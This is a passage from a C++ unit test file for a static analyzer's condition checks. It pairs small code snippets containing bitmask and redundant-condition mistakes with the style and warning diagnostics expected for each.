y=0;\\n\"\n \" else { if (y==8); }\\n\" // always false\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:11] -> [test.cpp:4:15]: (style) Mismatching assignment and comparison, comparison 'y==8' is always false. [assignIfError]\\n\", errout_str());\n\n // while\n check(\"void f(int x) {\\n\"\n \" int y = x & 7;\\n\"\n \" while (y==8);\\n\" // local variable => always false\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:11] -> [test.cpp:3:11]: (style) Mismatching assignment and comparison, comparison 'y==8' is always false. [assignIfError]\\n\", errout_str());\n\n check(\"void f(int x) {\\n\"\n \" extern int y; y = x & 7;\\n\"\n \" while (y==8);\\n\" // non-local variable => no error\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int x) {\\n\"\n \" int a = 100;\\n\"\n \" while (x) {\\n\"\n \" int y = 16 | a;\\n\"\n \" while (y != 0) y--;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void g(int x);\\n\"\n \"void f(int x) {\\n\"\n \" int a = 100;\\n\"\n \" while (x) {\\n\"\n \" int y = 16 | a;\\n\"\n \" while (y != 0) g(y);\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:5:15] -> [test.cpp:6:15]: (style) Mismatching assignment and comparison, comparison 'y!=0' is always true. [assignIfError]\\n\",\n errout_str());\n\n check(\"void g(int &x);\\n\"\n \"void f(int x) {\\n\"\n \" int a = 100;\\n\"\n \" while (x) {\\n\"\n \" int y = 16 | a;\\n\"\n \" while (y != 0) g(y);\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // calling function\n check(\"void f(int x) {\\n\"\n \" int y = x & 7;\\n\"\n \" do_something();\\n\"\n \" if (y==8);\\n\" // local variable => always false\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:11] -> [test.cpp:4:8]: (style) Mismatching assignment and comparison, comparison 'y==8' is always false. [assignIfError]\\n\", errout_str());\n\n check(\"void f(int x) {\\n\"\n \" int y = x & 7;\\n\"\n \" do_something(&y);\\n\" // passing variable => no error\n \" if (y==8);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void do_something(int);\\n\"\n \"void f(int x) {\\n\"\n \" int y = x & 7;\\n\"\n \" do_something(y);\\n\"\n \" if (y==8);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:11] -> [test.cpp:5:8]: (style) Mismatching assignment and comparison, comparison 'y==8' is always false. [assignIfError]\\n\", errout_str());\n\n check(\"void f(int x) {\\n\"\n \" extern int y; y = x & 7;\\n\"\n \" do_something();\\n\"\n \" if (y==8);\\n\" // non-local variable => no error\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #4434 : false positive: ?:\n check(\"void f(int x) {\\n\"\n \" x = x & 1;\\n\"\n \" x = x & 1 ? 1 : -1;\\n\"\n \" if(x != -1) { }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #4735\n check(\"void f() {\\n\"\n \" int x = *(char*)&0x12345678;\\n\"\n \" if (x==18) { }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // bailout: no variable info\n check(\"void foo(int x) {\\n\"\n \" y = 2 | x;\\n\" // y not declared => no error\n \" if(y == 1) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // bailout: negative number\n check(\"void foo(int x) {\\n\"\n \" int y = -2 | x;\\n\" // negative number => no error\n \" if (y==1) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // bailout: pass variable to function\n check(\"void foo(int x) {\\n\"\n \" int y = 2 | x;\\n\"\n \" bar(&y);\\n\" // pass variable to function => no error\n \" if (y==1) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // no crash on unary operator& (#5643)\n // #11610\n check(\"SdrObject* ApplyGraphicToObject() {\\n\"\n \" if (&rHitObject) {}\\n\"\n \" else if (rHitObject.IsClosedObj() && !&rHitObject) { }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:9]: (style) Condition '&rHitObject' is always true [knownConditionTrueFalse]\\n\"\n \"[test.cpp:3:42]: (style) Condition '!&rHitObject' is always false [knownConditionTrueFalse]\\n\",\n errout_str());\n\n // #5695: increment\n check(\"void f(int a0, int n) {\\n\"\n \" int c = a0 & 3;\\n\"\n \" for (int a = 0; a < n; a++) {\\n\"\n \" c++;\\n\"\n \" if (c == 4)\\n\"\n \" c = 0;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int a) {\\n\" // #6662\n \" int x = a & 1;\\n\"\n \" while (x <= 4) {\\n\"\n \" if (x != 5) {}\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:9] -> [test.cpp:4:8]: (style) Mismatching assignment and comparison, comparison 'x!=5' is always true. [assignIfError]\\n\", errout_str());\n\n check(\"void f(int a) {\\n\" // #6662\n \" int x = a & 1;\\n\"\n \" while ((x += 4) < 10) {\\n\"\n \" if (x != 5) {}\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" int x = 100;\\n\"\n \" while (x) {\\n\"\n \" g(x);\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void g(int x);\\n\"\n \"void f() {\\n\"\n \" int x = 100;\\n\"\n \" while (x) {\\n\"\n \" g(x);\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:12]: (style) Condition 'x' is always true [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void g(int & x);\\n\"\n \"void f() {\\n\"\n \" int x = 100;\\n\"\n \" while (x) {\\n\"\n \" g(x);\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n }\n\n void mismatchingBitAnd() {\n check(\"void f(int a) {\\n\"\n \" int b = a & 0xf0;\\n\"\n \" b &= 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:11] -> [test.cpp:3:5]: (style) Mismatching bitmasks. Result is always 0 (X = Y & 0xf0; Z = X & 0x1; => Z=0). [mismatchingBitAnd]\\n\", errout_str());\n\n check(\"void f(int a) {\\n\"\n \" int b = a & 0xf0;\\n\"\n \" int c = b & 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:11] -> [test.cpp:3:9]: (style) Mismatching bitmasks. Result is always 0 (X = Y & 0xf0; Z = X & 0x1; => Z=0). [mismatchingBitAnd]\\n\", errout_str());\n\n check(\"void f(int a) {\\n\"\n \" int b = a;\"\n \" switch (x) {\\n\"\n \" case 1: b &= 1; break;\\n\"\n \" case 2: b &= 2; break;\\n\"\n \" };\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void comparison() {\n // CheckCondition::comparison test cases\n // '=='\n check(\"void f(int a) {\\n assert( (a & 0x07) == 8U );\\n}\");\n ASSERT_EQUALS(\"[test.cpp:2:13]: (style) Expression '(X & 0x7) == 0x8' is always false. [comparisonError]\\n\",errout_str());\n check(\"void f(int a) {\\n assert( (a & b & 4 & c ) == 3 );\\n}\");\n ASSERT_EQUALS(\"[test.cpp:2:21]: (style) Expression '(X & 0x4) == 0x3' is always false. [comparisonError]\\n\", errout_str());\n check(\"void f(int a) {\\n assert( (a | 0x07) == 8U );\\n}\");\n ASSERT_EQUALS(\"[test.cpp:2:13]: (style) Expression '(X | 0x7) == 0x8' is always false. [comparisonError]\\n\",errout_str());\n check(\"void f(int a) {\\n assert( (a & 0x07) == 7U );\\n}\");\n ASSERT_EQUALS(\"\", errout_str());\n check(\"void f(int a) {\\n assert( (a | 0x01) == -15 );\\n}\");\n ASSERT_EQUALS(\"\", errout_str());\n // '!='\n check(\"void f(int a) {\\n assert( (a & 0x07) != 8U );\\n}\");\n ASSERT_EQUALS(\"[test.cpp:2:13]: (style) Expression '(X & 0x7) != 0x8' is always true. [comparisonError]\\n\",errout_str());\n check(\"void f(int a) {\\n assert( (a | 0x07) != 8U );\\n}\");\n ASSERT_EQUALS(\"[test.cpp:2:13]: (style) Expression '(X | 0x7) != 0x8' is always true. [comparisonError]\\n\",errout_str());\n check(\"void f(int a) {\\n assert( (a & 0x07) != 7U );\\n}\");\n ASSERT_EQUALS(\"\", errout_str());\n check(\"void f(int a) {\\n assert( (a | 0x07) != 7U );\\n}\");\n ASSERT_EQUALS(\"\", errout_str());\n // '>='\n check(\"void f(int a) {\\n assert( (a & 0x07) >= 8U );\\n}\");\n ASSERT_EQUALS(\"[test.cpp:2:13]: (style) Expression '(X & 0x7) >= 0x8' is always false. [comparisonError]\\n\",errout_str());\n check(\"void f(unsigned int a) {\\n assert( (a | 0x7) >= 7U );\\n}\");\n ASSERT_EQUALS(\"[test.cpp:2:13]: (style) Expression '(X | 0x7) >= 0x7' is always true. [comparisonError]\\n\",errout_str());\n check(\"void f(int a) {\\n assert( (a & 0x07) >= 7U );\\n}\");\n ASSERT_EQUALS(\"\",errout_str());\n check(\"void f(int a) {\\n assert( (a | 0x07) >= 8U );\\n}\");\n ASSERT_EQUALS(\"\",errout_str()); //correct for negative 'a'\n // '>'\n check(\"void f(int a) {\\n assert( (a & 0x07) > 7U );\\n}\");\n ASSERT_EQUALS(\"[test.cpp:2:13]: (style) Expression '(X & 0x7) > 0x7' is always false. [comparisonError]\\n\",errout_str());\n check(\"void f(unsigned int a) {\\n assert( (a | 0x7) > 6U );\\n}\");\n ASSERT_EQUALS(\"[test.cpp:2:13]: (style) Expression '(X | 0x7) > 0x6' is always true. [comparisonError]\\n\",errout_str());\n check(\"void f(int a) {\\n assert( (a & 0x07) > 6U );\\n}\");\n ASSERT_EQUALS(\"\",errout_str());\n check(\"void f(int a) {\\n assert( (a | 0x07) > 7U );\\n}\");\n ASSERT_EQUALS(\"\",errout_str()); //correct for negative 'a'\n // '<='\n check(\"void f(int a) {\\n assert( (a & 0x07) <= 7U );\\n}\");\n ASSERT_EQUALS(\"[test.cpp:2:13]: (style) Expression '(X & 0x7) <= 0x7' is always true. [comparisonError]\\n\",errout_str());\n check(\"void f(unsigned int a) {\\n assert( (a | 0x08) <= 7U );\\n}\");\n ASSERT_EQUALS(\"[test.cpp:2:13]: (style) Expression '(X | 0x8) <= 0x7' is always false. [comparisonError]\\n\",errout_str());\n check(\"void f(int a) {\\n assert( (a & 0x07) <= 6U );\\n}\");\n ASSERT_EQUALS(\"\",errout_str());\n check(\"void f(int a) {\\n assert( (a | 0x08) <= 7U );\\n}\");\n ASSERT_EQUALS(\"\",errout_str()); //correct for negative 'a'\n // '<'\n check(\"void f(int a) {\\n assert( (a & 0x07) < 8U );\\n}\");\n ASSERT_EQUALS(\"[test.cpp:2:13]: (style) Expression '(X & 0x7) < 0x8' is always true. [comparisonError]\\n\",errout_str());\n check(\"void f(unsigned int a) {\\n assert( (a | 0x07) < 7U );\\n}\");\n ASSERT_EQUALS(\"[test.cpp:2:13]: (style) Expression '(X | 0x7) < 0x7' is always false. [comparisonError]\\n\",errout_str());\n check(\"void f(int a) {\\n assert( (a & 0x07) < 3U );\\n}\");\n ASSERT_EQUALS(\"\",errout_str());\n check(\"void f(int a) {\\n assert( (a | 0x07) < 7U );\\n}\");\n ASSERT_EQUALS(\"\",errout_str()); //correct for negative 'a'\n\n check(\"void f(int i) {\\n\" // #11998\n \" if ((i & 0x100) == 0x200) {}\\n\"\n \" if (0x200 == (i & 0x100)) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:21] -> [test.cpp:3:15]: (style) The if condition is the same as the previous if condition [duplicateCondition]\\n\"\n \"[test.cpp:2:12]: (style) Expression '(X & 0x100) == 0x200' is always false. [comparisonError]\\n\"\n \"[test.cpp:3:21]: (style) Expression '(X & 0x100) == 0x200' is always false. [comparisonError]\\n\",\n errout_str());\n\n checkP(\"#define MACRO1 (0x0010)\\n\" // #13222\n \"#define MACRO2 (0x0020)\\n\"\n \"#define MACRO_ALL (MACRO1 | MACRO2)\\n\"\n \"void f() {\\n\"\n \" if (MACRO_ALL == 0) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkP(\"void f(int i, int j) {\\n\" // #13360\n \" int X = 0x10;\\n\"\n \" if ((i & 0xff00) == X) {}\\n\"\n \" if (X == (j & 0xff00)) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:12]: (style) Expression '(X & 0xff00) == 0x10' is always false. [comparisonError]\\n\"\n \"[test.cpp:4:17]: (style) Expression '(X & 0xff00) == 0x10' is always false. [comparisonError]\\n\",\n errout_str());\n }\n\n#define checkPureFunction(code) checkPureFunction_(code, __FILE__, __LINE__)\n void multicompare() {\n check(\"void foo(int x)\\n\"\n \"{\\n\"\n \" if (x & 7);\\n\"\n \" else { if (x == 1); }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:18]: (style) Expression is always false because 'else if' condition matches previous condition at line 3. [multiCondition]\\n\", errout_str());\n\n check(\"void foo(int x)\\n\"\n \"{\\n\"\n \" if (x & 7);\\n\"\n \" else { if (x & 1); }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:18]: (style) Expression is always false because 'else if' condition matches previous condition at line 3. [multiCondition]\\n\", errout_str());\n\n check(\"extern int bar() __attribute__((pure));\\n\"\n \"void foo(int x)\\n\"\n \"{\\n\"\n \" if ( bar() >1 && b) {}\\n\"\n \" else if (bar() >1 && b) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:23]: (style) Expression is always false because 'else if' condition matches previous condition at line 4. [multiCondition]\\n\", errout_str());\n\n checkPureFunction(\"extern int bar();\\n\"\n \"void foo(int x)\\n\"\n \"{\\n\"\n \" if ( bar() >1 && b) {}\\n\"\n \" else if (bar() >1 && b) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:23]: (style) Expression is always false because 'else if' condition matches previous condition at line 4. [multiCondition]\\n\", errout_str());\n\n // 7284\n check(\"void foo() {\\n\"\n \" if (a) {}\\n\"\n \" else if (!!a) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:14]: (style) Expression is always false because 'else if' condition matches previous condition at line 2. [multiCondition]\\n\", errout_str());\n\n // #11059\n check(\"int f();\\n\"\n \"void g() {\\n\"\n \" int i = f();\\n\"\n \" if (i == 3) {}\\n\"\n \" else if ((i = f()) == 5) {}\\n\"\n \" else if (i == 3) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f();\\n\"\n \"void g() {\\n\"\n \" int i = f();\\n\"\n \" if (i == 3) {}\\n\"\n \" else if ((i = f()) == 5) {}\\n\"\n \" else if (i != 3) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n template\n void checkPureFunction_(const char (&code)[size], const char* file, int line) {\n // Tokenize..\n SimpleTokenizer tokenizer(settings1, *this);\n ASSERT_LOC(tokenizer.tokenize(code), file, line);\n\n runChecks(tokenizer, this);\n }\n\n void overlappingElseIfCondition() {\n check(\"void f(int a, int &b) {\\n\"\n \" if (a) { b = 1; }\\n\"\n \" else { if (a) { b = 2; } }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:16]: (style) Expression is always false because 'else if' condition matches previous condition at line 2. [multiCondition]\\n\", errout_str());\n\n check(\"void f(int a, int &b) {\\n\"\n \" if (a) { b = 1; }\\n\"\n \" else { if (a) { b = 2; } }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:16]: (style) Expression is always false because 'else if' condition matches previous condition at line 2. [multiCondition]\\n\", errout_str());\n\n check(\"void f(int a, int &b) {\\n\"\n \" if (a == 1) { b = 1; }\\n\"\n \" else { if (a == 2) { b = 2; }\\n\"\n \" else { if (a == 1) { b = 3; } } }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:18]: (style) Expression is always false because 'else if' condition matches previous condition at line 2. [multiCondition]\\n\", errout_str());\n\n check(\"void f(int a, int &b) {\\n\"\n \" if (a == 1) { b = 1; }\\n\"\n \" else { if (a == 2) { b = 2; }\\n\"\n \" else { if (a == 2) { b = 3; } } }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:18]: (style) Expression is always false because 'else if' condition matches previous condition at line 3. [multiCondition]\\n\", errout_str());\n\n check(\"void f(int a, int &b) {\\n\"\n \" if (a++) { b = 1; }\\n\"\n \" else { if (a++) { b = 2; }\\n\"\n \" else { if (a++) { b = 3; } } }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int a, int &b) {\\n\"\n \" if (!strtok(NULL, \\\" \\\")) { b = 1; }\\n\"\n \" else { if (!strtok(NULL, \\\" \\\")) { b = 2; } }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n {\n check(\"void f(Class &c) {\\n\"\n \" if (c.dostuff() == 3) {}\\n\"\n \" else { if (c.dostuff() == 3) {} }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(const Class &c) {\\n\"\n \" if (c.dostuff() == 3) {}\\n\"\n \" else { if (c.dostuff() == 3) {} }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:28]: (style) Expression is always false because 'else if' condition matches previous condition at line 2. [multiCondition]\\n\", errout_str());\n }\n\n check(\"void f(int a, int &b) {\\n\"\n \" x = x / 2;\\n\"\n \" if (x < 100) { b = 1; }\\n\"\n \" else { x = x / 2; if (x < 100) { b = 2; } }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int64_t i) {\\n\"\n \" if(i == 0x02e2000000 || i == 0xa0c6000000)\\n\"\n \" foo(i);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // ticket 3689 ( avoid false positive )\n check(\"int fitInt(long long int nValue){\\n\"\n \" if( nValue < 0x7fffffffLL )\\n\"\n \" {\\n\"\n \" return 32;\\n\"\n \" }\\n\"\n \" if( nValue < 0x7fffffffffffLL )\\n\"\n \" {\\n\"\n \" return 48;\\n\"\n \" }\\n\"\n \" else {\\n\"\n \" if( nValue < 0x7fffffffffffffffLL )\\n\"\n \" {\\n\"\n \" return 64;\\n\"\n \" } else\\n\"\n \" {\\n\"\n \" return -1;\\n\"\n \" }\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(WIDGET *widget) {\\n\"\n \" if (dynamic_cast(widget)){}\\n\"\n \" else if (dynamic_cast(widget)){}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"class B { virtual void v() {} };\\n\" // #11037\n \"class D1 : public B {};\\n\"\n \"class D2 : public B {};\\n\"\n \"void f(const std::shared_ptr&p) {\\n\"\n \" const auto d1 = dynamic_cast(p.get());\\n\"\n \" const auto d2 = dynamic_cast(p.get());\\n\"\n \" if (d1) {}\\n\"\n \" else if (d2) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int x) {\\n\" // #6482\n \" if (x & 1) {}\\n\"\n \" else if (x == 0) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int x) {\\n\"\n \" if (x & 15) {}\\n\"\n \" else if (x == 40) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:14]: (style) Expression is always false because 'else if' condition matches previous condition at line 2. [multiCondition]\\n\", errout_str());\n\n check(\"void f(int x) {\\n\"\n \" if (x == sizeof(double)) {}\\n\"\n \" else { if (x == sizeof(long double)) {} }\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int x) {\\n\"\n \" if (x & 0x08) {}\\n\"\n \" else if (x & 0xF8) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int x) {\\n\"\n \" if (x & 0xF8) {}\\n\"\n \" else if (x & 0x08) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:14]: (style) Expression is always false because 'else if' condition matches previous condition at line 2. [multiCondition]\\n\", errout_str());\n\n check(\"void f(bool a, bool b) {\\n\"\n \" if(a && b){}\\n\"\n \" else if( !!b && !!a){}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:17]: (style) Expression is always false because 'else if' condition matches previous condition at line 2. [multiCondition]\\n\", errout_str());\n\n check(\"void f(bool a, bool b) {\\n\"\n \" if(a && b){}\\n\"\n \" else if( !!b && a){}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:17]: (style) Expression is always false because 'else if' condition matches previous condition at line 2. [multiCondition]\\n\", errout_str());\n\n check(\"void f(bool a, bool b) {\\n\"\n \" if(a && b){}\\n\"\n \" else if( b && !!a){}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:15]: (style) Expression is always false because 'else if' condition matches previous condition at line 2. [multiCondition]\\n\", errout_str());\n\n check(\"void f(bool a, bool b) {\\n\"\n \" if(a && b){}\\n\"\n \" else if( b && !(!a)){}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:15]: (style) Expression is always false because 'else if' condition matches previous condition at line 2. [multiCondition]\\n\", errout_str());\n\n check(\"void f(bool a, bool b) {\\n\"\n \" if(a && b){}\\n\"\n \" else if( !!b && !(!a)){}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:17]: (style) Expression is always false because 'else if' condition matches previous condition at line 2. [multiCondition]\\n\", errout_str());\n\n check(\"void f(bool a, bool b) {\\n\"\n \" if(a && b){}\\n\"\n \" else if( !!(b) && !!(a+b)){}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #8168\n check(\"enum MaskValues\\n\"\n \"{\\n\"\n \" Value1 = 0x00000001,\\n\"\n \" Value2 = 0x00000002\\n\"\n \"};\\n\"\n \"void TestFunction(int value) {\\n\"\n \" if ( value & (int)Value1 ) {}\\n\"\n \" else if ( value & (int)Value2 ) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(size_t x) {\\n\"\n \" if (x == sizeof(int)) {}\\n\"\n \" else { if (x == sizeof(long))} {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(size_t x) {\\n\"\n \" if (x == sizeof(long)) {}\\n\"\n \" else { if (x == sizeof(long long))} {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void oppositeElseIfCondition() {\n setMultiline();\n\n check(\"void f(int x) {\\n\"\n \" if (x) {}\\n\"\n \" else if (!x) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:14]: style: Expression is always true because 'else if' condition is opposite to previous condition at line 2. [multiCondition]\\n\"\n \"[test.cpp:2:9]: note: first condition\\n\"\n \"[test.cpp:3:14]: note: else if condition is opposite to first condition\\n\", errout_str());\n\n check(\"void f(int x) {\\n\"\n \" int y = x;\\n\"\n \" if (x) {}\\n\"\n \" else if (!y) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:14]: style: Expression is always true because 'else if' condition is opposite to previous condition at line 3. [multiCondition]\\n\"\n \"[test.cpp:2:13]: note: 'y' is assigned value 'x' here.\\n\"\n \"[test.cpp:3:9]: note: first condition\\n\"\n \"[test.cpp:4:14]: note: else if condition is opposite to first condition\\n\", errout_str());\n }\n\n void checkBadBitmaskCheck() {\n check(\"bool f(int x) {\\n\"\n \" bool b = x | 0x02;\\n\"\n \" return b;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:16]: (warning) Result of operator '|' is always true if one operand is non-zero. Did you intend to use '&'? [badBitmaskCheck]\\n\", errout_str());\n\n check(\"bool f(int x) {\\n\"\n \" bool b = 0x02 | x;\\n\"\n \" return b;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:19]: (warning) Result of operator '|' is always true if one operand is non-zero. Did you intend to use '&'? [badBitmaskCheck]\\n\", errout_str());\n\n check(\"int f(int x) {\\n\"\n \" int b = x | 0x02;\\n\"\n \" return b;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"bool f(int x) {\\n\"\n \" bool b = x & 0x02;\\n\"\n \" return b;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"bool f(int x) {\\n\"\n \" if(x | 0x02)\\n\"\n \" return b;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:10]: (warning) Result of operator '|' is always true if one operand is non-zero. Did you intend to use '&'? [badBitmaskCheck]\\n\", errout_str());\n\n check(\"bool f(int x) {\\n\"\n \" int y = 0x1;\\n\"\n \" if(b) y = 0;\\n\"\n \" if(x | y)\\n\"\n \" return b;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"bool f(int x) {\\n\"\n \" foo(a && (x | 0x02));\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:17]: (warning) Result of operator '|' is always true if one operand is non-zero. Did you intend to use '&'? [badBitmaskCheck]\\n\", errout_str());\n\n check(\"int f(int x) {\\n\"\n \" return (x | 0x02) ? 0 : 5;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:15]: (warning) Result of operator '|' is always true if one operand is non-zero. Did you intend to use '&'? [badBitmaskCheck]\\n\", errout_str());\n\n check(\"int f(int x) {\\n\"\n \" return x ? (x | 0x02) : 5;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"bool f(int x) {\\n\"\n \" return x | 0x02;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:14]: (warning) Result of operator '|' is always true if one operand is non-zero. Did you intend to use '&'? [badBitmaskCheck]\\n\", errout_str());\n\n check(\"bool f(int x) {\\n\"\n \" if (x) {\\n\"\n \" return x | 0x02;\\n\"\n \" }\\n\"\n \" return 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:14]: (warning) Result of operator '|' is always true if one operand is non-zero. Did you intend to use '&'? [badBitmaskCheck]\\n\", errout_str());\n\n check(\"const bool f(int x) {\\n\"\n \" return x | 0x02;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:14]: (warning) Result of operator '|' is always true if one operand is non-zero. Did you intend to use '&'? [badBitmaskCheck]\\n\", errout_str());\n\n check(\"struct F {\\n\"\n \" static const bool f(int x) {\\n\"\n \" return x | 0x02;\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:16]: (warning) Result of operator '|' is always true if one operand is non-zero. Did you intend to use '&'? [badBitmaskCheck]\\n\", errout_str());\n\n check(\"struct F {\\n\"\n \" typedef bool b_t;\\n\"\n \"};\\n\"\n \"F::b_t f(int x) {\\n\"\n \" return x | 0x02;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:12]: (warning) Result of operator '|' is always true if one operand is non-zero. Did you intend to use '&'? [badBitmaskCheck]\\n\", errout_str());\n\n check(\"int f(int x) {\\n\"\n \" return x | 0x02;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void create_rop_masks_4( rop_mask_bits *bits) {\\n\"\n \"DWORD mask_offset;\\n\"\n \"BYTE *and_bits = bits->and;\\n\"\n \"rop_mask *rop_mask;\\n\"\n \"and_bits[mask_offset] |= (rop_mask->and & 0x0f);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(unsigned a, unsigned b) {\\n\"\n \" unsigned cmd1 = b & 0x0F;\\n\"\n \" if (cmd1 | a) {\\n\"\n \" if (b == 0x0C) {}\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int i) {\\n\" // #11082\n \" int j = 0;\\n\"\n \" if (i | j) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:11]: (style) Operator '|' with one operand equal to zero is redundant. [badBitmaskCheck]\\n\", errout_str());\n\n check(\"#define EIGHTTOIS(x) (((x) << 8) | (x))\\n\"\n \"int f() {\\n\"\n \" return EIGHTTOIS(0);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"#define O_RDONLY 0\\n\"\n \"void f(const char* s, int* pFd) {\\n\"\n \" *pFd = open(s, O_RDONLY | O_BINARY, 0);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"const int FEATURE_BITS = x |\\n\"\n \"#if FOO_ENABLED\\n\"\n \" FEATURE_FOO |\\n\"\n \"#endif\\n\"\n \"#if BAR_ENABLED\\n\"\n \" FEATURE_BAR |\\n\"\n \"#endif\\n\"\n \" 0;\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"enum precedence { PC0, UNARY };\\n\"\n \"int x = PC0 | UNARY;\\n\"\n \"int y = UNARY | PC0;\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"#define MASK 0\\n\"\n \"#define SHIFT 1\\n\"\n \"int x = 1 | (MASK << SHIFT);\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n\n void incorrectLogicOperator1() {\n check(\"void f(int x) {\\n\"\n \" if ((x != 1) || (x != 3))\\n\"\n \" a++;\\n\"\n \"}\");\n 